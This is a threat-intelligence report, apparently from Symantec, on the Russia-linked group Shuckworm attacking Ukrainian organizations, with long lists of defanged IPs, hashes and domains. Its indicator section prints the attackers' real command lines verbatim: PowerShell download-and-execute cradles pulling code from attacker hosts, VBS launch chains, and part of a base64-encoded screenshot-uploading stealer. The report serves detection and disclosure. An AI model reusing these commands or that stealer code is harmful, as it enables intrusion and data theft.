146.190.60[.]230
84.32.190[.]137
206.189.154[.]168
188.166.4[.]128
104.248.54[.]250
165.227.76[.]84
66.42.104[.]158
161.35.95[.]47
149.28.125[.]56
143.198.50[.]118
66.42.126[.]121
64.227.72[.]210
81.19.140[.]147
165.232.77[.]197
146.190.117[.]209
134.122.51[.]47
143.198.152[.]232
140.82.47[.]181
159.223.102[.]109
170.64.188[.]146
155.138.194[.]244
45.32.88[.]90
89.185.84[.]32
64.226.84[.]229
206.189.14[.]94
24.199.84[.]132
45.32.41[.]115
84.32.188[.]69
206.189.128[.]172
170.64.168[.]228
161.35.238[.]148
170.64.138[.]138
178.128.86[.]43
206.81.28[.]5
178.128.231[.]180
45.77.115[.]67
136.244.65[.]253
143.244.190[.]199
159.65.176[.]121
192.248.154[.]154
209.97.175[.]128
147.182.240[.]58
146.190.212[.]239
143.198.135[.]132
45.76.202[.]102
142.93.108[.]1
46.101.127[.]147
134.209.0[.]136
138.68.110[.]19
167.99.215[.]50
161.35.232[.]118
88.216.210[.]3
165.227.121[.]87
165.227.48[.]59
108.61.211[.]250
89.185.84[.]48
167.172.69[.]123
89.185.84[.]50
206.189.0[.]134
68.183.200[.]0
178.128.16[.]170
95.179.144[.]161
164.92.222[.]8
45.95.233[.]80
78.141.239[.]24
149.28.181[.]232
24.199.107[.]218
45.32.184[.]140
167.172.20[.]159
84.32.190[.]31
164.92.185[.]60
84.32.131[.]38
137.184.178[.]46
206.189.149[.]103
157.245.176[.]123
45.95.232[.]92
45.95.232[.]29
170.64.150[.]90
89.185.84[.]45
140.82.16[.]120
84.32.185[.]136
134.122.43[.]175
195.133.88[.]55
84.32.191[.]147
78.141.238[.]136
45.82.13[.]84
159.65.248[.]0
84.32.34[.]69
170.64.146[.]194
45.82.13[.]22
45.82.13[.]23
134.209.33[.]42
199.247.8[.]115
84.32.128[.]239
173.199.70[.]238
138.68.174[.]177
178.128.213[.]177
143.110.180[.]68
167.172.144[.]127
165.232.165[.]42
45.95.232[.]51
149.28.98[.]149
104.156.230[.]193
104.248.86[.]158
134.122.51[.]47
134.209.182[.]221
139.59.60[.]191
140.82.11[.]60
140.82.47[.]181
140.82.50[.]37
143.198.135[.]132
143.198.53[.]203
147.182.250[.]33
149.28.130[.]189
149.28.181[.]232
149.28.98[.]149
155.138.194[.]244
157.245.69[.]118
158.247.204[.]242
159.223.102[.]109
159.223.23[.]23
164.92.72[.]212
165.22.72[.]74
165.227.76[.]84
165.232.120[.]169
167.172.58[.]96
167.71.67[.]58
170.64.136[.]186
170.64.140[.]214
170.64.156[.]98
178.128.228[.]252
188.166.176[.]39
188.166.7[.]140
193.149.176[.]26
195.133.88[.]55
202.182.116[.]135
202.182.98[.]100
206.189.80[.]216
207.148.72[.]173
31.129.22[.]46
31.129.22[.]48
31.129.22[.]50
45.32.101[.]6
45.32.117[.]62
45.32.158[.]96
45.32.62[.]100
45.32.88[.]90
45.82.13[.]84
45.95.232[.]33
45.95.232[.]74
45.95.233[.]80
5.199.161[.]29
64.226.84[.]229
64.227.64[.]163
66.42.104[.]158
68.183.200[.]0
78.141.239[.]24
78.153.139[.]7
81.19.140[.]147
84.32.131[.]47
84.32.188[.]13
95.179.144[.]161
95.179.245[.]185
216.128.178[.]248
|
Shuckworm: Russia-Linked Group Maintains Ukraine Focus
Infostealer appears to be payload in recent activity aimed at Ukrainian organizations.
UPDATE, 17.40 BST, August 15, 2022: Update for clarity re use of VCD, ASC, and H264 file extensions in file names.
UPDATE, 17.50 BST, August 17, 2022: Additional IOCs added
Recent Shuckworm activity observed by Symantec, a division of Broadcom Software, and aimed at Ukraine appears to be delivering information-stealing malware to targeted networks. This activity was ongoing as recently as August 8, 2022 and much of the activity observed in this campaign is consistent with activity that was highlighted by CERT-UA on July 26.
The activity observed by Symantec began on July 15, and we have additional indicators of compromise (IOCs) and technical details to share about this campaign.
Shuckworm (aka Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. It is generally considered to be a state-sponsored espionage operation.
Infection Vector
The first suspicious activity Symantec saw on victim systems was a self-extracting 7-Zip file, which was downloaded via the system’s default browser. Subsequently, mshta.exe downloaded an XML file, which was likely masquerading as an HTML application (HTA) file.
These files were downloaded from the following domain: a0698649[.]xsph[.]ru. It has been publicly documented since May 2022 that subdomains of xsph[.]ru are associated with Shuckworm activity, and this domain was once again mentioned in CERT-UA’s July 26 publication about Shuckworm activity.
This domain was also associated with an email that spoofed being from the Security Service of Ukraine and had “Intelligence Bulletin” in the subject line, according to CERT-UA. This being the case, it is most likely the 7-Zip file seen on victim networks in the campaign observed by Symantec was delivered to victims via email.
Attack Chain
The downloading of the XML file onto victim networks was followed by the execution of a PowerShell stealer. We saw three versions of the same PowerShell stealer appear on the one system. It’s possible the attackers may have deployed multiple versions of the stealer, which were all very similar, as an attempt to evade detection.
Two VBS downloaders that had the words “juice” and “justice” in their file names were also observed on victim machines. Analysis found that these were Backdoor.Pterodo, a well-known Shuckworm tool that Symantec blogged about earlier this year. These scripts are capable of calling PowerShell, uploading screenshots, and also executing code downloaded from a command-and-control (C&C) server.
Various suspicious files containing “ntuser” in the file names were also seen on victim machines. We associate these “ntuser” files with Shuckworm activity, and many variants of them are malicious, with most detected as the Giddome backdoor, another well-known Shuckworm tool.
We saw various parent processes with file names that had VCD, H264 and ASC extensions. A file named ntuser.dat.tmcontainer.vcd was the parent process for a Giddome backdoor variant named ntuser.dat.tm.descendant.exe that was seen on victim machines. A suspicious file named ntuser.dat.tmcontainer.h264 had a child process named ntuser.dat.tm.declare.exe, another malicious Giddome backdoor binary. Elsewhere, a file named ntuser.dat.tmcontainer.asc had a child process named ntuser.dat.tm.decay.exe.
VCD files are disc images of a CD or DVD and are recognized by Windows as an actual disc, similar to ISO files, which we commonly see malicious actors use to deliver payloads. An ASC file is an encrypted file that may contain text or binary information encoded as text, while an H264 file is a video file. However, filenames with the ntuser.dat.tmcontainer prefix are files that represent the registry.
It’s not clear if these are the actual file types, or if the attackers are using these file names as a means of sowing confusion.
The backdoor dropped on victim systems had the file name 4896.exe. This backdoor had multiple capabilities, including:
Record audio using the microphone and upload the recorded files to a remote location
Take screenshots and upload them
Log and upload keystrokes
Download and execute .exe files or download and load DLL files
The legitimate remote desktop protocol (RDP) tools Ammyy Admin and AnyDesk were both also leveraged by the attackers for remote access. Legitimate RDP tools like these and others are frequently leveraged for remote access by attackers in both ransomware and nation-state-backed cyber attacks.
Shuckworm Keeps Focus on Ukraine
This campaign, combined with previous public reporting on Shuckworm, shows some patterns in the operations of the group at the moment, including its reuse of patterns, e.g. paths (such as csidl_profile\music), using files that contain "ntuser.dat" in the file name, using various artifacts that contain, for example, "judgement" in the file name, and also leveraging EXE files whose file names contain English words that begin with "D", “dat”, “decay”, “deer”, “declare”, etc.
As the Russian invasion of Ukraine approaches the six-month mark, Shuckworm’s long-time focus on the country appears to be continuing unabated. That this recent activity continues even after CERT-UA documented it shows that fear of exposure does not deter the group from its activities. While Shuckworm is not necessarily the most tactically sophisticated espionage group, it compensates for this in its focus and persistence in relentlessly targeting Ukrainian organizations.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
SHA256 files
abb6aab63b29610dbc0a6d634b6777ff0a2a2b61c5f60bd09b0c3aa3919fa00d
63490fc0828f9683f5dd5799452d684dcc32db28d683943b2bad5b56eee6f03e
b66cc523b88505cc2cc0568e97c9a80b1ceae448c8ac7d7b0d9c0f36378d8c2f
26fcfbbfe4deeae3797bc7999c641f7a93e5a7eb378cf998069d88060801c47d
1f8a4cf57052e66d4de953fcda3aca627308f93b6560934959d745ca6dda66d9
1aceb88288dd40535fdddcbdc1aa174109fe897122d693280d6ccec827f4df0b
ea4ba2c43bc3d18e5d01168ff4f864cbf727e3cb8b9cce5c3f75a27c91d63d84
9da410a62fb552a593b6da8ee89aa451efb6efcd1f3a35fab24e3c04fec84030
420fccd78efe1e4739c3a694afada023e1ce425c29a0affa91bf02c16912d143
e5f34a99d6799c4ff3a4b06e4f42ff136c1a0f59dd4629f3e4da3a7a93e7c88e
d358e4b6afd14fd7b058e0deaeca0bf3537edc264ef7674c1c49db35b82b2d24
f151d2b404315afe4951cbd870866e8fbb11d05d3752ad096bf00d68072d2262
f1c65464f2a86cb6ad6c6792c7553d4162849b5a229fcc396c737edffdb1ee80
c40aaaecb9331f1ddac9fe9b6d3455ecfd7b21b53159453f7fa3a82e3d5f9ecc
2c7943730f3dfb89f534fcb137a4f6e53a7a697309e6cc247f0f9800f1460731
b783b82e846bd8a623ca32982585cf8b79ce7cbf9988a041f7b2ac7fe5f8a7fe
66d2b38589d08bbbe56b34b88bcefc702cdc6593c71e5ee446dbbb115336b876
ac862717600c531846895f8884841d23e52c8332e708ca11c17a5c162ce43432
b9c8ec91559a62baf87305e0ee387bb777da7830a6d9fc72c630e873858ec465
d7d4077af0aff349821f0e964f42db5ab09eb8b2f427f266378aaa1d28af6c57
3f3667294731e3bdbf13d96d32a98342e225601f20157f774917d9147ce692a4
597c517c81a53f7a32a67eb2b15e51a95b6bfdd4a33b11850b08eccf6e29d098
184b5ff96d90a46ad33ba82faa2bb298282e7c35afc0ab96f884f668ad098e61
20b1f6fec7a0f09c64e7e09de7952b7532f8c9cd4b45177d2125d84c6a40ec73
8cbae307b9efdb760cc97468ee7a363d5204559ab21e7982d63867cc13c6b098
92953773c3b405f341df8e68bd8a23cbc9b8fd6c708082aab91632d6cb84bac2
8a5933f7248d1cf2dba19980efaf4f5d5b139563a22cec81df276661c0146450
22ddb97a23a9010b445b08a807b22a997174f528e87604be0bba4e0ccfa18050
b26e8d55828dc8143b68ef6140eab7e5e7e59e6b9e104e032b28f5058a127d51
efd099e4900b692a362cf29a12cd2a100a99b1dd29cfaac4b456808795c07b0f
3fc80fcbf9e813d00af3f54714f79d7accd3888689ac6c5d02a750d804f4e5c3
30761d0a9b08c69cfdd135c69a537aef0df516b097cd9d6a0d9528bc907f4ddd
aa97a858124fb47ea2572a197bd762da9c19bac91bdd4c17469c2e48480e8088
3790ddd924b08942f3ecb6da5a32df090274b90829e651f984f287c00db04592
02963acfa5622901de83cb75fad5bef35902d0ae42310d47f7433379dd3543e8
6461d0693801d8d523df9d2d0cd5a652d72c10acec8fab7344bb141c459543e1
8b1e48dfab33ed67f8ccd788904f2cd4be521ff152a477cec4baba52b56aec15
5f05ba566a66531b988c5a1dceee0b4a7bc2dc34ad2b68d984486e02891a4f6c
3dc83f72a830c54980738467fb36e7b6b5da80e0d9657bd440dcad46ae9f96a2
f895adfe7882bac956f31ec14fb52ea118138257d4a95fb9e1bb6f4e846d07b8
71fdd0edf4699051f5506f34f2663938faeca9400dae1c034ddb6b710d41c7d7
4b9023dbaadd588dad670c49e5a202ae695e12689618f926249d49a935c07315
ef7eb27e19d11894b52148fbe8987b5726ef4390a56aa47a9a4bbe4b17dd0876
Host IOCs
ntuser.dat.tm.declare.exe / 2d0792d3f9d5a921a2d5b476feb88a345869d2f0d95f7342cc10ac1c838896cb
jury.mp3 / 4a2b252eccab7da63aadb7a5539cc4ed8385d7bf258c325dea60ed0edc3e0e25
joy.dat / b62bf1a504a474e259d78fc3349eed94982d6bf6af6012e23a1ec14b3d156dc9
do594e.tmp / 09709be5f7cbb076166d004265a378504f05832ba461f59181b96b374c31a4b3
cronos.exe / c3b7a1a739e3641147f4c10c5acfbc5816c12892b0edbe8038928f236f44ec84
delve.prj / fd61dee37bafb3392fa4450d2afef18cf6b4b3fc5c87476de128c999e58cae59
3893.bmp.vbs / c0a317f60910eed08bbfc7b3ac6e6de1b2029bf4922d0b0d7d3759313a24b16c
Network IOCs
destroy.asierdo[.]ru
hxxp://destroy.asierdo[.]ru/
45.63.94[.]49
165.22.215[.]30
149.28.99[.]187
45.63.79[.]134
140.82.58[.]157
139.180.172[.]67
141.164.45[.].236
95.179.167[.]182
140.82.47[.]97
159.223.235[.]224
138.68.254[.]91
217.163.30[.]126
144.202.54[.]111
159.89.129[.]22
207.246.80[.]1
hxxp://159.223.235[.]224/crab/crevice.elg
a0698649.xsph[.]ru
hxxp://a0698649.xsph[.]ru/preparations/band.xml
157.245.99[.]132
hxxp://157.245.99[.]132/get.php
194.180.174[.]73
hxxp://194.180.174[.]73/1.txt
*.pasamart[.]ru
155.138.252[.]221
hxxp://155.138.252[.]221/get.php
68.183.9[.]9
hxxp://68.183.9[.]9/get.php
motoristo.ru
178.62.108[.]75
hxxp://motoristo[.]ru/get.php
heato[.]ru
140.82.54[.]136
hxxp://heato[.]ru/index.php
leonardis[.]ru
104.238[.]187.145
141.8.192[.]82
139.59.65[.]168
hxxp://139.59.65[.]168/journal.au
45.63.100[.]72
hxxp://45.63.100[.]72/get.php?fr=3126424&se=3089412&dl=hxxps://meta[.]ua/uk/news/politics/52320-ukrayina-rozshirila-oboronnu-spivpratsyu-z-danieyu/&rm=hxxps://meta[.]ua/uk/&kf=false&ts=5875621&dw=2240&dh=1951&t=2053953&s=stable&eec=3242252&po=6485826&ju=8204688&kio=false&rqm=GET
199.247.25[.]79
hxxp://199.247.25[.]79/get.php
Command lines
CSIDL_PROFILE\appdata\local\temp\1645694127.exe
CSIDL_PROFILE\downloads\anydesk (2).exe
CSIDL_PROFILE\ntuser.dat.tm.decay.exe
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\17634.bmp CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5491.bmp CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL_PROFILE\29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\17634.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5491.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '>>C:\Users\User\29630.ico
CSIDL_SYSTEM\cmd.exe /c echo '>C:\Users\User\29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo '17634.bmp>> CSIDL_PROFILE\appdata\local\temp\17634.bmp
CSIDL_SYSTEM\cmd.exe /c echo '5491.bmp>> CSIDL_PROFILE\appdata\local\temp\5491.bmp
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\29630.ico 29630.ico.txt
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\29630.ico.txt 29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\mshta.exe hxxp://a0698649.xsph[.]ru/preparations/band.xml /f
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -nol -nop echo (INVOKE-EXPRESSION(new-object net.webclient).downloadstring('hxxp://157.245.99[.]132/get.php')) | powershell -
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -windowstyle hidden -nologo Invoke-Expression $env:Include
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $aaa = (New-Object system.Net.WebClient).downloadString('hxxp://194.180.174[.]73/1.txt'); iex $aaa;
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $ip = [System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.pasamart.ru');Start-Sleep -s 10;$IE1 = New-Object -COMObject InternetExplorer.Application -Property @{Navigate2=$([string]$ip+'/lnk.php'); Visible = $False};while ($IE1.ReadyState -ne 4) {Start-Sleep 2};$Doc = $IE1.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $IE1.document, $Null).InnerHtml;$IE1.quit();[io.file]::WriteAllText($($env:USERPROFILE+'\index.txt'),$Doc); iex(iex $Doc)
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadString('hxxp://155.138.252[.]221/get.php'); Invoke-Expression $tmp
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadString('hxxp://68.183.9[.]9/get.php'); Invoke-Expression $tmp
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\29630.ico.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\ho2btvivw2m.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\ntuser.dat.tmcontainer.asc //e:vbscript /deserve /decidedly /dene //b
CSIDL_SYSTEMX86\windowspowershell\v1.0\powershell.exe -Version 5.1 -s -NoLogo -NoProfile
CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\local\temp\7zsfx000.cmd
CSIDL_SYSTEM\cmd.exe /c start /min powershell -w hidden -c (iex echo (iex (new-object net.webclient).downloadstring('hxxp://motoristo[.]ru/get.php'))|powershell - )
CSIDL_WINDOWS\explorer.exe
powershell -w hidden -c (iex echo (iex (new-object net.webclient).downloadstring('hxxp://motoristo[.]ru/get.php'))|powershell - )
powershell -w hiddeN -c (iex echo (iex (new-object net.webclient).downloadstring('hxxp://sacramentos[.]ru/get.php'))|powershell - )
wscript.exe CSIDL_PROFILE\ntuser.dat.tmcontainer.asc //e:vbscript /deserve /decidedly /dene //b
wscript.exe CSIDL_PROFILE\documents\jury.mp3 jenny //e:VBScript //b joke
CSIDL_PROFILE\cronos.exe
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\3893.bmp CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\3893.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '3893.bmp>> CSIDL_PROFILE\appdata\local\temp\3893.bmp
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -nol -nop $nwc = new-object net.webclient;$nwc.headers['Accept']='image/avif,image/webp,*/*';$nwc.headers['Accept-Encoding']='*';$nwc.headers['Accept-Language']='en-US,en;q=0.5';$nwc.headers['Alt-Used']='www.facebook.com';$nwc.headers['Referer']='https://meta.ua/';$nwc.headers['Sec-Fetch-Dest']='document';$nwc.headers['Sec-Fetch-Mode']='no-cors';$nwc.headers['Sec-Fetch-Site']='cross-site';$nwc.headers['TE']='trailers';$nwc.headers['User-Agent']='Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0';$code=([system.text.encoding]::utf8.getstring($nwc.DownloadData('http://45.63.100.72/get.php?fr=3126424&se=3089412&dl=https://meta.ua/uk/news/politics/52320-ukrayina-rozshirila-oboronnu-spivpratsyu-z-danieyu/&rm=https://meta.ua/uk/&kf=false&ts=5875621&dw=2240&dh=1951&t=2053953&s=stable&eec=3242252&po=6485826&ju=8204688&kio=false&rqm=GET')));echo $code|iex
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadString('http://199.247.25.79/get.php'); Invoke-Expression $tmp
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\delve.prj //e:vbscript /departments /dependant /despite //b
CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\local\temp\7zsfx000.cmd
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\10805.bmp CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\14612.bmp CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\19084.bmp CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\20342.bmp CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\26012.bmp CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5275.bmp CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5491.bmp CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL_PROFILE\8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '>C:\Users\User\30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo '>C:\Users\User\8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\30802.ico.txt 30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\8527.ico.txt 8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\8527.ico.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
STEALER V1 ("WebKitFormBoundary")
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -c $couts =[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gUnVuQ29kZSgkY29kZSwkcmVzcG9uc2UpewogICAgW2J5dGVbXV0kYnl0ZXMgPSBuZXctb2JqZWN0IGJ5dGVbXSAkcmVzcG9uc2UuTGVuZ3RoOwogICAgZm9yKCRqPTA7ICRqIC1sdCAkcmVzcG9uc2UuY291bnQgOyAkaisrKXsKICAgICAgICAkbWFzc19lbGVtZW50PSAkaiAlICRjb2RlLkxlbmd0aDsKICAgICAgICAka2V5PSRjb2RlWyRtYXNzX2VsZW1lbnRdOwogICAgICAgICRieXRlc1skal0gPSAkcmVzcG9uc2VbJGpdIC1ieG9yICRrZXk7CiAgICB9OwogICAgJFVyaSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRieXRlcyk7CiAgICBzdGFydC1qb2IgewogICAgICAgICRzYyA9IE5ldy1PYmplY3QgLUNvbU9iamVjdCBNU1NjcmlwdENvbnRyb2wuU2NyaXB0Q29udHJvbC4xOwogICAgICAgICRzYy5UaW1lb3V0ID0gOTk5OTk5OyAkc2MuTGFuZ3VhZ2UgPSAnVkJTY3JpcHQnOyRzYy5BZGRDb2RlKCRhcmdzWzBdKQogICAgfSAtQXJndW1lbnRMaXN0ICRVcmkgLXJ1bmFzMzI7Cn0KJGJ5dGVzYT0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygiLS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5azZNSDNNRU9BQlZtSTNPcCQoW2NoYXJdMTMpJChbY2hhcl0xMClDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9YCJwYXJ0aWFsYCIkKFtjaGFyXTEzKSQoW2NoYXJdMTApJChbY2hhcl0xMykkKFtjaGFyXTEwKTEkKFtjaGFyXTEzKSQoW2NoYXJdMTApLS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5azZNSDNNRU9BQlZtSTNPcCQoW2NoYXJdMTMpJChbY2hhcl0xMClDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9YCJob3N0YCIkKFtjaGFyXTEzKSQoW2NoYXJdMTApJChbY2hhcl0xMykkKFtjaGFyXTEwKWxlb25hcmRpcy5ydSQoW2NoYXJdMTMpJChbY2hhcl0xMCktLS0tLS1XZWJLaXRGb3JtQm91bmRhcnlrNk1IM01FT0FCVm1JM09wLS0kKFtjaGFyXTEzKSQoW2NoYXJdMTApIik7JHdjPSBOZXctT2JqZWN0IG5ldC53ZWJjbGllbnQ7JHdjLkhlYWRlcnMuQWRkKCJDb250ZW50LVR5cGUiLCJtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5azZNSDNNRU9BQlZtSTNPcCIpOwokcmVzcG9uc2UgPSAkd2MuVXBsb2FkRGF0YSgiaHR0cHM6Ly93aG9lci5uZXQvcnUvY2hlY2t3aG9pcyIsJGJ5dGVzYSk7CiRpcCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRyZXNwb25zZSkgfD97JF8gLW1hdGNoICJcZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9In18JXskTWF0Y2hlc1swXX07CiRzY3JlZW49MDsKd2hpbGUoJGNvdW50IC1sZSA0KXsKICAgIGlmKCRzY3JlZW4gLWxlIDkpewogICAgICAgICRzY3JlZW4rKzsKICAgICAgICBbdm9pZF1bUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWRXaXRoUGFydGlhbE5hbWUoIlN5c3RlbS5XaW5kb3dzLkZvcm1zIik7CiAgICAgICAgJHNpemUgPSBbV2luZG93cy5Gb3Jtcy5TeXN0ZW1JbmZvcm1hdGlvbl06OlZpcnR1YWxTY3JlZW47CiAgICAgICAgJGJpdG1hcCA9IG5ldy1vYmplY3QgRHJhd2luZy5CaXRtYXAgJHNpemUud2lkdGgsICRzaXplLmhlaWdodDsKICAgICAgICAkZ3JhcGhpY3MgPSBbRHJhd2luZy5HcmFwaGljc106OkZyb21JbWFnZSgkYml0bWFwKTsKICAgICAgICAkZ3JhcGhpY3MuQ29weUZyb21TY3JlZW4oJHNpemUubG9jYXRpb24sW0RyYXdpbmcuUG9pbnRdOjpFbXB0eSwgJHNpemUuc2l6ZSk7CiAgICAgICAgJGdyYXBoaWNzLkRpc3Bvc2UoKTsKICAgICAgICAkYml0bWFwLlNhdmUoIiRlbnY6VVNFUlBST0ZJTEVcdGVzdC5wbmciKTsKICAgICAgICAkYml0bWFwLkRpc3Bvc2UoKTsKICAgICAgICAkZmlsZSA9ICIkZW52OlVTRVJQUk9GSUxFXHRlc3QucG5nIjsKICAgICAgICAkYmFzZTY0c3RyaW5nID0gW0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyh